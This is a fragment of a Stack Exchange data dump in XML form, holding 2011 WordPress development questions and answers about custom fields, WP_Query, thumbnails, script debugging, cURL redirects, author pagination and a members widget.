&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.entry-title {&#xA;    border:none;&#xA;    color:black;&#xA;  &amp;lt;?php&#xA;  if($postimage) { &#xA;  ?&amp;gt;&#xA;    background-image: url('http://letthemstare.com/wp-content/themes/manifest_v1.1/images/&amp;lt;?php echo $postimage; ?&amp;gt;.jpg');&#xA;  &amp;lt;?php&#xA;  } elseif(!$postimage) { &#xA;  ?&amp;gt;&#xA;    background-image: none;&#xA;  &amp;lt;?php&#xA;  }&#xA;  ?&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Post titles images load to each post title individually but:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;a. Images doesn't replace original text title&#xA;b. Images are shown only within posts and not on the main page&#xA;c. I'm not sure that the images will function as a link on the main page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I choose entry-title according to the following code in index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;  &amp;lt;h3 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I mask this line, the post titles on the main page disappear. Furthermore, on style.css h3 represents the post titles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h3 {&#xA;  margin-bottom: 5px;&#xA;  font-size: 2.3em;&#xA;  font-weight: bold;&#xA;  text-align: left;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm afraid that I have a mistake in the title class but I don't know what it is and how to fix it. Kindly assist me in fixing the issues above. Your support would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3928" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-14T10:18:29.393" LastActivityDate="2011-03-16T20:58:13.927" Title="How do I define post titles as images using Custom Fields?" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="11958" PostTypeId="2" ParentId="11886" CreationDate="2011-03-14T07:08:45.423" Score="2" ViewCount="" Body="&lt;p&gt;So, if I understand correctly, when you're on a single post page, you want to have a navigation menu with all the posts of post_type bbp_forum.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a similar case (without the post_type, but it's not a problem to add it), and I used code that I found that talked about &lt;a href=&quot;http://forum.bytesforall.com/showthread.php?t=1491&quot; rel=&quot;nofollow&quot;&gt;posts of same category, on single post pages&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code goes as follows (with customization for post_type):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;  &#xA;  &amp;lt;?php global $post; $cat_posts = get_posts('post_type=bbp_forum');&#xA;  foreach($cat_posts as $post) : ?&amp;gt;  &#xA;    &amp;lt;li &amp;lt;?php if($post-&amp;gt;ID == get_the_ID()){ ?&amp;gt;class=&quot;cur_post&quot; &amp;lt;?php } ?&amp;gt;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) );  rel=&quot;bookmark&quot;?&amp;gt;&quot; &amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that's what you meant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S - I also see that you have an opening &amp;lt;ul&amp;gt; tag, but a closing &amp;lt;div&amp;gt; tag....&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-03-14T11:30:53.477" LastActivityDate="2011-03-14T11:30:53.477" />
  <row Id="11959" PostTypeId="1" AcceptedAnswerId="11960" CreationDate="2011-03-14T07:31:48.383" Score="0" ViewCount="26" Body="&lt;p&gt;&lt;code&gt;$pp = new WP_Query('orderby=comment_count&amp;amp;posts_per_page=4'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-14T07:44:32.370" Title="how can i add an array of post types to this query?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="11960" PostTypeId="2" ParentId="11959" CreationDate="2011-03-14T07:44:32.370" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$pp = new WP_Query(array(&#xA;    'post_type' =&amp;gt; array( 'post', 'custom_type' ),&#xA;    'orderby' =&amp;gt; 'comment_count',&#xA;    'posts_per_page' =&amp;gt; 4&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-14T07:44:32.370" />
  <row Id="11961" PostTypeId="1" CreationDate="2011-03-14T07:45:41.027" Score="1" ViewCount="60" Body="&lt;p&gt;I am migrating domains and redesigning the site at the same time. My large image sizes are different than they were before. When I imported the old posts, I had it download all the images as well. My problem is that the images that were inserted with the old file size name. Is there a way to replace all of the images with the correct new image sizes? I just want it to use the default 'large' size, even though it is different than the original site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In post html: &#xA;&lt;br/&gt;Screen-shot-2010-11-30-at-8.03.27-PM-540x287.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual image sizes: &#xA;&lt;br/&gt;Screen-shot-2010-11-30-at-8.03.27-PM-525x279.png&#xA;&lt;br/&gt;Screen-shot-2010-11-30-at-8.03.27-PM-615x327.png&lt;/p&gt;&#xA;" OwnerUserId="472" LastActivityDate="2011-07-13T01:10:44.737" Title="Domain Change with New Image Sizes" Tags="&lt;image-size&gt;" AnswerCount="1" />
  <row Id="11962" PostTypeId="2" ParentId="11961" CreationDate="2011-03-14T08:02:25.487" Score="1" ViewCount="" Body="&lt;p&gt;Use plugin &lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; to resize thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try use filter &quot;the_content&quot; to convert in post content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function foo ( $content )&#xA;{&#xA;    return preg_replace ('/540x287/', '525x279', $content);&#xA;}&#xA;&#xA;add_filter( 'the_content', 'foo' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Filter &quot;the_excerpt&quot; if need convert excerpt too.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="3768" LastEditorDisplayName="" LastEditDate="2011-03-14T20:29:06.873" LastActivityDate="2011-03-14T20:29:06.873" CommentCount="2" />
  <row Id="11963" PostTypeId="1" AcceptedAnswerId="11965" CreationDate="2011-03-14T08:28:03.437" Score="0" ViewCount="124" Body="&lt;p&gt;I'm trying to optimize my header and I was wondering which plugin would call jquery.&#xA;Is there a debugging tool to know which plugin is doing what in the header ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="3929" LastActivityDate="2011-03-14T10:10:01.990" Title="Know which plugin is calling JS in wp_head()?" Tags="&lt;plugins&gt;&lt;headers&gt;" AnswerCount="2" />
  <row Id="11964" PostTypeId="2" ParentId="11951" CreationDate="2011-03-14T08:30:24.513" Score="1" ViewCount="" Body="&lt;p&gt;Taking a look at the WordPress HTTP API, it seems there ain't no simple way to do this. In fact, it might even be a calling for a trac ticket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, although it allows you to specify the maximum number of redirects, there's no abstract option to control if redirects should even be &lt;em&gt;followed&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So setting a max redirect count of 0, the HTTP API will simply fail with something like 'Maximum redirects followed'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;For the time being, you'll need to examine the &lt;code&gt;request&lt;/code&gt; method of each HTTP transport class (&lt;code&gt;WP_Http_Curl&lt;/code&gt;, &lt;code&gt;WP_Http_ExtHttp&lt;/code&gt;...) and look for ideal filters and actions you can use to set the 'nofollow' option for that particular transport.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On further inspection, I believe only the cURL component of the API is affected;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __set_curl_nofollow( &amp;amp;$handle )&#xA;{&#xA;    curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );  &#xA;}&#xA;add_action( 'http_api_curl', '__set_curl_nofollow' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;As I mentioned about submitting to trac, I think there should be another option for the API, such as 'follow_redirection', that will then do what it is intended - abstract and take out the hassle!&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://core.trac.wordpress.org/ticket/16855&quot; rel=&quot;nofollow&quot;&gt;Trac ticket 16855&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-03-14T16:14:17.280" LastActivityDate="2011-03-14T16:14:17.280" CommentCount="2" />
  <row Id="11965" PostTypeId="2" ParentId="11963" CreationDate="2011-03-14T08:48:54.660" Score="0" ViewCount="" Body="&lt;p&gt;Plugins and themes tend to use &lt;code&gt;wp_enqueue_script()&lt;/code&gt; to queue up scripts for the &lt;code&gt;&amp;lt;head /&amp;gt;&lt;/code&gt; of your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would rarely advise this, but since you only need to do it temporarily, you could modify WordPress core and run a debug backtrace for every call to this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;wp-includes/functions.wp-scripts.php&lt;/code&gt;, drop the following code inside the end of the &lt;code&gt;wp_enqueue_script()&lt;/code&gt; function (starts at line 96).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $_script_callers_backtrace;&#xA;if ( !$_script_callers_backtrace )&#xA;    $_script_callers_backtrace = array();&#xA;&#xA;$backtrace = debug_backtrace();&#xA;$_script_callers_backtrace[] = array( $handle, $backtrace[0]['file'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now pop the following in your theme's &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __save_script_callers()&#xA;{&#xA;    file_put_contents( WP_CONTENT_DIR . '/callers.' . date('d-m-Y-H-i-s')  . '.log', print_r( $GLOBALS['_script_callers_backtrace'], true ) ); &#xA;}&#xA;add_action( 'shutdown', '__save_script_callers' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now whenever you load a page on your website, a log gets generated in your WordPress &lt;code&gt;wp-content&lt;/code&gt; folder that'll contain a list of the script handlers and the files that triggered them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remember!&lt;/strong&gt; Undo the changes once you've found out what you need!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-14T08:48:54.660" CommentCount="1" />
  <row Id="11966" PostTypeId="2" ParentId="11963" CreationDate="2011-03-14T10:10:01.990" Score="1" ViewCount="" Body="&lt;p&gt;There is a nifty little function called &lt;a href=&quot;https://gist.github.com/796546&quot; rel=&quot;nofollow&quot;&gt;debug_filters()&lt;/a&gt; which lists the callbacks registered on a certain hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would call from your theme, at the end of the header.php file for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php debug_filters('wp_head'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-14T10:10:01.990" CommentCount="2" />
  <row Id="11968" PostTypeId="2" ParentId="11957" CreationDate="2011-03-14T10:16:57.693" Score="1" ViewCount="" Body="&lt;p&gt;That's a very old tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since version 2.9, WP comes with post thumbnails built in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-14T10:16:57.693" />
  <row Id="11969" PostTypeId="2" ParentId="11955" CreationDate="2011-03-14T10:25:14.147" Score="2" ViewCount="" Body="&lt;p&gt;You can create the page using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post()&lt;/a&gt;&#xA;and make sure you send post type as 'page'. and if the user nav menu uses wp_list_pages&#xA;the page will be added to the nav menu automatically and to run it on activation you can have you plugin check if it exists and save its id so it will only create it once.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_page = get_option('my_plugin_page');&#xA;if (!$my_page){&#xA;    // Create post/page object&#xA;    $my_new_page = array(&#xA;        'post_title' =&amp;gt; 'My page',&#xA;        'post_content' =&amp;gt; 'This is my page content.',&#xA;        'post_status' =&amp;gt; 'publish'&#xA;    );&#xA;&#xA;    // Insert the post into the database&#xA;    $my_page = wp_insert_post( $my_new_page );&#xA;    update_option('my_plugin_page',$my_page);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T10:25:14.147" CommentCount="1" />
  <row Id="11970" PostTypeId="1" CreationDate="2011-03-14T10:48:28.883" Score="2" ViewCount="108" Body="&lt;p&gt;HI all,&#xA;I need to change the title of some pages before they are output on a list via wp_list_page.&#xA;I don't want to change the page title in the backend&#xA;To be clear, my list displays&#xA;&lt;code&gt; $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&gt;ID.&quot;&amp;amp;echo=0&amp;amp;exclude=&amp;amp;depth=1&quot;);&lt;/code&gt;&#xA;Intro&#xA;Page 1&#xA;Page 2&#xA;Page 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change the name of Intro to be Special&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx&#xA;s&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2011-05-13T15:50:31.383" Title="Modify Page Title before output via wp_page_list" Tags="&lt;page&gt;&lt;list&gt;" AnswerCount="2" />
  <row Id="11971" PostTypeId="2" ParentId="11652" CreationDate="2011-03-14T10:59:07.440" Score="2" ViewCount="" Body="&lt;p&gt;This seems like a broken .htaccess-file. I too have removed /blog/ as the permalink path, but it had/should have no major impact on the use of the site. The error-log is correct, as WordPress by default opens &lt;em&gt;mydomain.com/about/&lt;/em&gt;, and then places the page-content in the style of the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say there are two highly possible reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;.htaccess is broke, you could either error-check it yourself, or post the content here if you are unsure how it works.&lt;/li&gt;&#xA;&lt;li&gt;The Thesis theme does something &quot;unusual&quot; to the default functionality of Wordpress (ie. forcing permalink structures, .htaccess configurations or alternate methods for content retrieval). You could check this by testing your site with the default (Twentyten) theme.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;EDIT:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;From the beginning of installing WPMS (WordPress Multisite), you are told to do three things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a &lt;strong&gt;blogs.dir&lt;/strong&gt; in &lt;em&gt;/wp-content/&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Paste some code in your &lt;em&gt;wp-config.php&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Paste some code in your .htaccess&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(all this code is seen at Network Admin -&gt; Settings -&gt; Network Setup). That covers the standard WPMU installation, but at least in my experience does not create a working domain-mapping. So in addition to the Vanilla WPMU-install, I followed &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;Otto's tutorial on WPMS 3.0 Domain Mapping&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the important things in this tutorial, is the installation of two plugins: Domain-mapping and Sunrise. Both are actually remnants of WPMU (before Multisite was integrated into Wordpress), but are kept updated for the purposed of Domain-Mapping. I'm not actually sure whether Wordpress by default has a working system for domain-mapping integrated in 3.1, but I am still dependent upon those two plugins for using domains with my WPMS.&lt;/p&gt;&#xA;" OwnerUserId="2983" LastEditorUserId="2983" LastEditorDisplayName="" LastEditDate="2011-03-17T10:08:40.587" LastActivityDate="2011-03-17T10:08:40.587" CommentCount="8" />
  <row Id="11972" PostTypeId="1" AcceptedAnswerId="18640" CreationDate="2011-03-14T11:25:43.217" Score="1" ViewCount="305" Body="&lt;p&gt;WordPress has a built in function to display a list of all of your site’s authors. But there is no option to display their avatars, so all you really get is a text list that links to the author’s page, if you have an author.php file in your theme, that is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thus turning the internet I found this nice tutorial &lt;a href=&quot;http://xrl.in/7gdi&quot; rel=&quot;nofollow&quot;&gt;bavotasan.com&lt;/a&gt; with a little piece of code that seems to do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my site all users can write articles and list of contributors is long. It’s possible set &lt;strong&gt;10 users for page ?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this solution: Paginate result set from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3318/paginate-result-set-from-wpdb-get-results&quot;&gt;$wpdb-&gt;get_results()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did make my code for Authors list functions as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function contributors() {&#xA;global $wpdb;&#xA;&#xA;$authors = $wpdb-&amp;gt;get_results(&quot;SELECT ID, user_nicename from $wpdb-&amp;gt;users WHERE display_name &amp;lt;&amp;gt; 'admin' ORDER BY display_name&quot;);&#xA;&#xA;$authors_per_page = 10;&#xA;$page = isset( $_GET['cpage'] ) ? abs( (int) $_GET['cpage'] ) : 1;&#xA;&#xA;echo paginate_links( array(&#xA;    'base' =&amp;gt; add_query_arg( 'cpage', '%#%' ),&#xA;    'format' =&amp;gt; '',&#xA;    'prev_text' =&amp;gt; __('«'),&#xA;    'next_text' =&amp;gt; __('»'),&#xA;    'total' =&amp;gt; ceil($total / $authors_per_page),&#xA;    'current' =&amp;gt; $page&#xA;));&#xA;&#xA;foreach ($authors as $author ) {&#xA;&#xA;echo &quot;&amp;lt;li&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;a href=\&quot;&quot;.get_bloginfo('url').&quot;/author/&quot;;&#xA;the_author_meta('user_nicename', $author-&amp;gt;ID);&#xA;echo &quot;/\&quot;&amp;gt;&quot;;&#xA;echo get_avatar($author-&amp;gt;ID);&#xA;echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;echo '&amp;lt;div&amp;gt;';&#xA;echo &quot;&amp;lt;a href=\&quot;&quot;.get_bloginfo('url').&quot;/author/&quot;;&#xA;the_author_meta('user_nicename', $author-&amp;gt;ID);&#xA;echo &quot;/\&quot;&amp;gt;&quot;;&#xA;the_author_meta('display_name', $author-&amp;gt;ID);&#xA;echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;echo &quot;SitoWeb: &amp;lt;a href=\&quot;&quot;;&#xA;the_author_meta('user_url', $author-&amp;gt;ID);&#xA;echo &quot;/\&quot; target='_blank'&amp;gt;&quot;;&#xA;the_author_meta('user_url', $author-&amp;gt;ID);&#xA;echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;echo &quot;Twitter: &amp;lt;a href=\&quot;http://twitter.com/&quot;;&#xA;the_author_meta('twitter', $author-&amp;gt;ID);&#xA;echo &quot;\&quot; target='_blank'&amp;gt;&quot;;&#xA;the_author_meta('twitter', $author-&amp;gt;ID);&#xA;echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;a href=\&quot;&quot;.get_bloginfo('url').&quot;/author/&quot;;&#xA;the_author_meta('user_nicename', $author-&amp;gt;ID);&#xA;echo &quot;/\&quot;&amp;gt;Visita il Profilo di &quot;;&#xA;the_author_meta('display_name', $author-&amp;gt;ID);&#xA;echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still does the trick ..... Please help me to find out the error and its rectification. Thanks a lot. &lt;/p&gt;&#xA;" OwnerUserId="3897" LastActivityDate="2011-05-29T16:11:49.677" Title="Authors list Pagination?" Tags="&lt;pagination&gt;&lt;author&gt;&lt;list-authors&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="11974" PostTypeId="1" AcceptedAnswerId="12013" CreationDate="2011-03-14T11:44:49.373" Score="-1" ViewCount="293" Body="&lt;p&gt;i'm using wordpress v3.1 and i'm requiring 2 extra fields for external url + youtube-link.&#xA;is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in case it's not - i was considering using own tags for the post-content and filter it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw. what's the easiest way to implement youtube videos (via link) directly into the post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-14T18:47:04.270" Title="extra post fields for url + youtube video / implementation" Tags="&lt;custom-field&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="11975" PostTypeId="2" ParentId="9209" CreationDate="2011-03-14T11:56:38.633" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;code widget for sidebar:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'widgets_init', 'latest_members_widgets' );&#xA;&#xA;function latest_members_widgets() {&#xA;register_widget( 'Latest_Members' );&#xA;}&#xA;class Latest_Members extends WP_Widget {&#xA;function Latest_Members() {&#xA;    $widget_ops = array( 'classname' =&amp;gt; 'latest_members', 'description' =&amp;gt;   'Visualizza gli avatar degli utenti iscritti.' );&#xA;    $this-&amp;gt;WP_Widget( 'latest-members-widget', 'Iscritti Recenti', $widget_ops);&#xA;}&#xA;&#xA;&#xA; function widget( $args, $instance ) {&#xA;    extract( $args );&#xA;&#xA;    $title = apply_filters('widget_title', $instance['title'] );&#xA;    $avatars = $instance['avatars']; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php echo $before_widget; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( $title ) echo $before_title . $title . $after_title; ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;widget_latest_members&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php global $wpdb;&#xA;        $szSort = &quot;user_registered&quot;;&#xA;        $aUsersID = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare(&#xA;        &quot;SELECT $wpdb-&amp;gt;users.ID FROM $wpdb-&amp;gt;users ORDER BY ID DESC LIMIT $avatars&quot;, $szSort ));&#xA;        foreach ( $aUsersID as $iUserID ) :&#xA;        $user = get_userdata( $iUserID );&#xA;        echo '&amp;lt;a href=&quot;'.get_bloginfo(url).'/?author='.$iUserID.'&quot; rel=&quot;profilo&quot; title=&quot;Vai al Profilo&quot;&amp;gt;'.get_avatar($iUserID, 35,$default=$author-&amp;gt;ID).'&amp;lt;/a&amp;gt;';&#xA;        endforeach; ?&amp;gt;&#xA;        &amp;lt;br /&amp;gt;&#xA;  &amp;lt;div class=&quot;totale&quot;&amp;gt;&amp;lt;?php $users = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(ID) FROM $wpdb-&amp;gt;users&quot;); echo $users.&quot; utenti registrati&quot;;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php echo $after_widget; }&#xA;&#xA;function update( $new_instance, $old_instance ) {&#xA;    $instance = $old_instance;&#xA;&#xA;    $instance['title'] = strip_tags( $new_instance['title'] );&#xA;    $instance['avatars'] = strip_tags( $new_instance['avatars'] );&#xA;&#xA;    return $instance;&#xA;}&#xA;&#xA;function form( $instance ) {&#xA;&#xA;    /* Set up some default widget settings. */&#xA;    $defaults = array( 'title' =&amp;gt; 'Latest Members', 'avatars' =&amp;gt; 20);&#xA;    $instance = wp_parse_args( (array) $instance, $defaults ); ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot;&amp;gt;Titolo:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;br/&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'title' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['title']; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'avatars' ); ?&amp;gt;&quot;&amp;gt;Numero Avatar da visualizzare:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;br/&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'avatars' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'avatars' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['avatars']; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;    }&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3897" LastActivityDate="2011-03-14T11:56:38.633" />
  <row Id="11977" PostTypeId="2" ParentId="11970" CreationDate="2011-03-14T12:21:08.467" Score="1" ViewCount="" Body="&lt;p&gt;You can do a string replace on the HTML that wp_list_pages returns.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-14T12:21:08.467" />
  <row Id="11978" PostTypeId="2" ParentId="11974" CreationDate="2011-03-14T12:23:08.683" Score="0" ViewCount="" Body="&lt;p&gt;You could create a &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;custom post type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-14T12:23:08.683" />
  <row Id="11979" PostTypeId="1" AcceptedAnswerId="11991" CreationDate="2011-03-14T12:48:13.577" Score="0" ViewCount="148" Body="&lt;p&gt;Is there a way to make Wordpress' &quot;Remember Me&quot; login checkbox work for a really long time, like a year? Currently I think it only works for a few days or a week max, usually I am not remembered.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-03-14T15:41:20.193" Title="Make my wordpress blog remember my login &quot;forever&quot;" Tags="&lt;login&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="11980" PostTypeId="2" ParentId="11825" CreationDate="2011-03-14T13:18:44.817" Score="1" ViewCount="" Body="&lt;p&gt;Fixed by editing the post tag itself inside the tags section of the admin page. Thanks for all help.&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-03-14T13:18:44.817" />
